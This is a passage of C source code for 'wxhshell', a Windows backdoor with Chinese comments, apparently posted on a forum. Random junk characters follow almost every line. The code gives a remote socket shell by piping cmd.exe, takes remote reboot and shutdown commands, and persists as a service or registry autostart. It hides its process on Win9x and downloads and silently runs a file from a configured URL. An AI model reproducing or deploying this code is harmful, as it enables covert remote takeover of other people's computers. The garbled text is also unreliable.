    switch(cmd[0]) { BDWbWA 6  
  'u;O2$  
  // 帮助 _3yG<'f[Y  
  case '?': { Z 9+fTT  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); H4AT>}ri  
    break; tLa%8@;'$  
  } tOLcnWt   
  // 安装 ~vt9?(h  
  case 'i': { :vG0 l\  
    if(Install()) % J^x `P  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ^zQI_ydG  
    else 60u_,@rV  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 2*V[kmD/3  
    break; ~r5S{&  
    } U>f'j;5  
  // 卸载 ($[+dR  
  case 'r': { dM^Z,; u  
    if(Uninstall()) #Ir?v  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 0O>ClE~P  
    else ~;#}aQYo  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); mA+:)?e5~  
    break; ()l3X.t,$  
    } ~BmA!BZV`  
  // 显示 wxhshell 所在路径 ji1vLu4|t  
  case 'p': { 0zB[seyE  
    char svExeFile[MAX_PATH]; "O4A&PJD  
    strcpy(svExeFile,"\n\r"); r9})~>   
      strcat(svExeFile,ExeFile); 5P-t{<]tx  
        send(wsh,svExeFile,strlen(svExeFile),0); ([dd)QU  
    break; 3^+D,)#D^  
    } V&s|IoTR  
  // 重启 u6ULk<<\  
  case 'b': { ()?83Xj[c  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); LsuOmB|^  
    if(Boot(REBOOT)) (jDz[b#OPz  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 6~x'~T  
    else { 2]]v|Z2M4  
    closesocket(wsh); P$#:$U @  
    ExitThread(0); 6D`n^uoP  
    } nOL"6%q  
    break; mnsl$H_4S  
    } BA]$Fi.Mw  
  // 关机 ,dCEy+  
  case 'd': { bT^dtEr[  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); WqCC4R,-  
    if(Boot(SHUTDOWN)) QH9t |l  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); l\*9rs:!  
    else { @5S'5)4pB  
    closesocket(wsh); Q7$o&N{  
    ExitThread(0); F`QViZ'n>#  
    } nOGTeKjEJ  
    break; jRS{7rx%MH  
    } `Zm6e!dH-  
  // 获取shell 1^}I?PbqV  
  case 's': { ^ U*y*l$  
    CmdShell(wsh); *(?Wzanh  
    closesocket(wsh); 3uqhYT;  
    ExitThread(0); Ww2@!ng  
    break; _xp8*2~-  
  } Mz(Vf1pi%  
  // 退出 ?1SsF>|  
  case 'x': { rm,`M  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ZP<<cyY  
    CloseIt(wsh); .+/d08]  
    break; d}[cX9U/  
    } v\Uk?V5T  
  // 离开 4 V')FGB$  
  case 'q': { Dp ](?Yr  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); j ) 6  
    closesocket(wsh); V}#X'~Ob  
    WSACleanup(); l[38cF  
    exit(1); ,|({[ 9jA  
    break; kO}&Oi,?  
        } xV)[C )6  
  } bx8](cT_  
  } 4VwF \  
&vp KBR ^  
  // 提示信息 \g39>;iR  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); USz~l7Xs  
} #hZ$ ;1.  
  } 6:7[>|okQ  
;=ddv@  
  return; $Iwvecn?I  
} _F;v3|`D@<  
?FQ#I~'<  
// shell模块句柄 XVYFyza;  
int CmdShell(SOCKET sock) Rqh5FzB>  
{ W&?Qs=@  
STARTUPINFO si;  <OMwi9  
ZeroMemory(&si,sizeof(si)); "<!U  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; "]+g5G  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; JL1ajlm~  
PROCESS_INFORMATION ProcessInfo; WEimJrAn  
char cmdline[]="cmd"; ^Co$X+  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); >X*tMhcb  
  return 0; 7MKX`S  
} hzqJ!  
TN2Ln?[xU  
// 自身启动模式 ?nd: :O  
int StartFromService(void) hy5[ L`B  
{ 4+RR`I8$Ge  
typedef struct @%]A,\  
{ 4I$Y(E}  
  DWORD ExitStatus; AI-*5[w#A  
  DWORD PebBaseAddress; 2*|T)OA`m,  
  DWORD AffinityMask; k {*QU(  
  DWORD BasePriority; +WH\,E  
  ULONG UniqueProcessId; &]nx^C8V;  
  ULONG InheritedFromUniqueProcessId; %;,fI'M  
}   PROCESS_BASIC_INFORMATION; ci~#G[_$S  
z%82Vt!a5  
PROCNTQSIP NtQueryInformationProcess; 7z b^Z]  
b dgkA  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; }e?H(nZS7h  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; /<J(\;Jr6  
.-KI,IU  
  HANDLE             hProcess; $5R2QNg n  
  PROCESS_BASIC_INFORMATION pbi; cMw<3u\  
54+(o6E<  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); UlYFloZ  
  if(NULL == hInst ) return 0; m@td[^O-  
=RQF::[h  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 52w@.]  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); fZGY'o&5  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); qs5>`skX  
s,HbW%s  
  if (!NtQueryInformationProcess) return 0; q&3 ;e4  
gq7tSkH@  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); u,sR2&Fe  
  if(!hProcess) return 0; cgg6E O(  
D|:'|7l W  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; u"[f\l  
(%my:\>l  
  CloseHandle(hProcess); i9;  
x[(6V'  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ?b (iWq  
if(hProcess==NULL) return 0; PsC")JS  
p}1i[//S  
HMODULE hMod; C= ~c`V5>r  
char procName[255]; =&}@GsXdo  
unsigned long cbNeeded; ^4dE8Ve"@  
s^h@b!'7  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); xE/?ncTK^  
3gA%Q`"  
  CloseHandle(hProcess); aZOn01v;!&  
Pq;OShU_  
if(strstr(procName,"services")) return 1; // 以服务启动 SH%NYjj  
Y{YbKKM  
  return 0; // 注册表启动 A3jxjQ  
} Pe`(9&iT.  
C8U3+ s  
// 主模块 T+kV~ w{  
int StartWxhshell(LPSTR lpCmdLine) fkA+:j~z_  
{ AI|vL4*Xd  
  SOCKET wsl; "4N&T#  
BOOL val=TRUE; 1[%3kY-h  
  int port=0; ?:(y  
  struct sockaddr_in door; *_(X$qfoW  
Nu5|tf9%A  
  if(wscfg.ws_autoins) Install(); %5o2I_Cjz  
)l3Uf&v^f  
port=atoi(lpCmdLine); yPN'@{ 5#  
I652Fcj  
if(port<=0) port=wscfg.ws_port; ^/f~\ #R  
7EJ2 On  
  WSADATA data; &d_^k.%y  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1;  WR;1  
HK;NR.D  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   K"#$",}=  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); (Ou%0 KW  
  door.sin_family = AF_INET; GAz -yCJp  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); kpm;ohd  
  door.sin_port = htons(port); b9b Ivjm_  
M5dYcCDE  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { NkZG   
closesocket(wsl); bZqTT~'T  
return 1; J=g)rd[`  
} =RoG?gd{R  
eV9U+]C`  
  if(listen(wsl,2) == INVALID_SOCKET) { pv_o4qEN  
closesocket(wsl); 3:J>-MO  
return 1; AGlBvRX7e  
} VD;*UkapZx  
  Wxhshell(wsl); .wfydu)3  
  WSACleanup(); SE'Im  
d:=' Xs  
return 0; t R^f]+Up  
LrB 0x>  
} x~5uc$  
R~vGaxZ$  
// 以NT服务方式启动 d$t"Vp  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) Q:}]-lJg  
{ MpV<E0CmE  
DWORD   status = 0; /bo}I-<2  
  DWORD   specificError = 0xfffffff; Q6h+.  
PL/g| ;  
  serviceStatus.dwServiceType     = SERVICE_WIN32; bi<<z-q`wJ  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; M\ATT%b:  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; {,>G 1>Yv  
  serviceStatus.dwWin32ExitCode     = 0; \DB-2*a"  
  serviceStatus.dwServiceSpecificExitCode = 0; C:QB=?%;  
  serviceStatus.dwCheckPoint       = 0; nm^HL|  
  serviceStatus.dwWaitHint       = 0; iRQ!J1SGcG  
d0El2Ct8  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 7'0Vb !(  
  if (hServiceStatusHandle==0) return; kiTC)S=])  
R9XU7_3B  
status = GetLastError(); .u-a+ac<  
  if (status!=NO_ERROR) $:9t(X)H  
{ (3Db}Hnn  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; I2 [U#4n  
    serviceStatus.dwCheckPoint       = 0; (s};MdXIz  
    serviceStatus.dwWaitHint       = 0; ,AP&N'  
    serviceStatus.dwWin32ExitCode     = status; qZ1'uln=C-  
    serviceStatus.dwServiceSpecificExitCode = specificError; 9LR=>@Z  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); C6!F6Stn]g  
    return; 9`in r.:  
  } .#[ 9q-  
N} EKV  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; 0TU3 _;o  
  serviceStatus.dwCheckPoint       = 0; 57\ 0MQO  
  serviceStatus.dwWaitHint       = 0; c=! >m  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); I)HO/i 6>3  
} c-w #`  
5pQpzn =  
// 处理NT服务事件,比如:启动、停止 `fv5U%  
VOID WINAPI NTServiceHandler(DWORD fdwControl) fzsy<Vl",  
{ 9"~ FKMN  
switch(fdwControl) Z #[?~P  
{ D An2Pqf  
case SERVICE_CONTROL_STOP: \"lz,bT  
  serviceStatus.dwWin32ExitCode = 0; I G1];vX  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; %rwvY`\  
  serviceStatus.dwCheckPoint   = 0; uwe#& V-  
  serviceStatus.dwWaitHint     = 0; H:fKv7XL  
  { U^m#!hp  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); I)rnF  
  } qng ~,m  
  return; y`I>|5[ `  
case SERVICE_CONTROL_PAUSE: ImXYI7PL  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; \&"C  
  break; 1%Xh[  
case SERVICE_CONTROL_CONTINUE: wh$bDT Cj  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; SNj-h>&Mha  
  break; q}U+BTCZ  
case SERVICE_CONTROL_INTERROGATE: 7|,L{~  
  break; : |'(T[~L  
}; w~ Tg?RH:  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); jJ$\WUQ.  
} `TBXJ(Y  
k{' ZaP)  
// 标准应用程序主函数 f$I=o N  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) { I#>6  
{ 65EMB%  
(_FU3ZW!  
// 获取操作系统版本 O( ^h_  
OsIsNt=GetOsVer(); rT2Njy1  
GetModuleFileName(NULL,ExeFile,MAX_PATH); xo>0j#  
"\4W])30  
  // 从命令行安装 =2\2Sp  
  if(strpbrk(lpCmdLine,"iI")) Install(); +O}Ik.w  
<4}m:  
  // 下载执行文件 Exb64n-_=  
if(wscfg.ws_downexe) { R%UTYRLUn  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 0jTReY-W  
  WinExec(wscfg.ws_filenam,SW_HIDE); #p}GWS)  
} K[[~G1Z  
ee {ToK  
if(!OsIsNt) { +B*]RL[th  
// 如果时win9x,隐藏进程并且设置为注册表启动 +x]/W|5  
HideProc(); [.#nM  
StartWxhshell(lpCmdLine); [ZWAXl $  
} bzr2Zj{4  
else ]$smFF  
  if(StartFromService()) 'ZbWr*bo  
  // 以服务方式启动 *HoRYCL  
  StartServiceCtrlDispatcher(DispatchTable); t2[/eM.G  
else \VpEUU6^U  
  // 普通方式启动 gAAC>{Wh  
  StartWxhshell(lpCmdLine); -S$F\%  
4H{t6t@-:  
return 0; 7^dr[.Q[*  
}
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只看该作者 1 发表于: 2006-10-10
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